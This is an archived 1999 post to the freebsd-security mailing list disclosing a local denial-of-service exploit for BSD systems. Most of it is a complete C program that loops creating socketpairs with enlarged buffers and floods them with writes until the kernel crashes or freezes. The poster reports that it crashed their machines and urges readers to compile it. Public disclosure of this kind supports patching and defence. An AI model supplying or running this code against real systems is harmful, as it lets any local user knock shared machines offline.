Date: Fri, 10 Sep 1999 17:21:27 +0200 (CEST) From: wdmgds <wdmgds@xs4all.nl> To: freebsd-security@FreeBSD.ORG Subject: *bsd crashes/freezes/hangs on local user xploit Message-ID: <Pine.BSI.4.10.9909101717140.1525-100000@xs3.xs4all.nl>
next in thread | raw e-mail | index | archive | help
Dear /etc compile this code snipplet and wheep ... it crashed and mutilated our 227 and 3x boxen.. BSDi4 just freezes a couple of seconds, bye -- #include <unistd.h> #include <sys/socket.h> #include <fcntl.h> #define BUFFERSIZE 204800 /* kiddy var le surgery */ extern int main(void) { int p[2], i; char crap[BUFFERSIZE]; while (1) { if (socketpair(AF_UNIX, SOCK_STREAM, 0, p) == -1) break; i = BUFFERSIZE; setsockopt(p[0], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int)); setsockopt(p[0], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int)); setsockopt(p[1], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int)); setsockopt(p[1], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int)); fcntl(p[0], F_SETFL, O_NONBLOCK); fcntl(p[1], F_SETFL, O_NONBLOCK); write(p[0], crap, BUFFERSIZE); write(p[1], crap, BUFFERSIZE); } exit(0); } To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message
Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?Pine.BSI.4.10.9909101717140.1525-100000>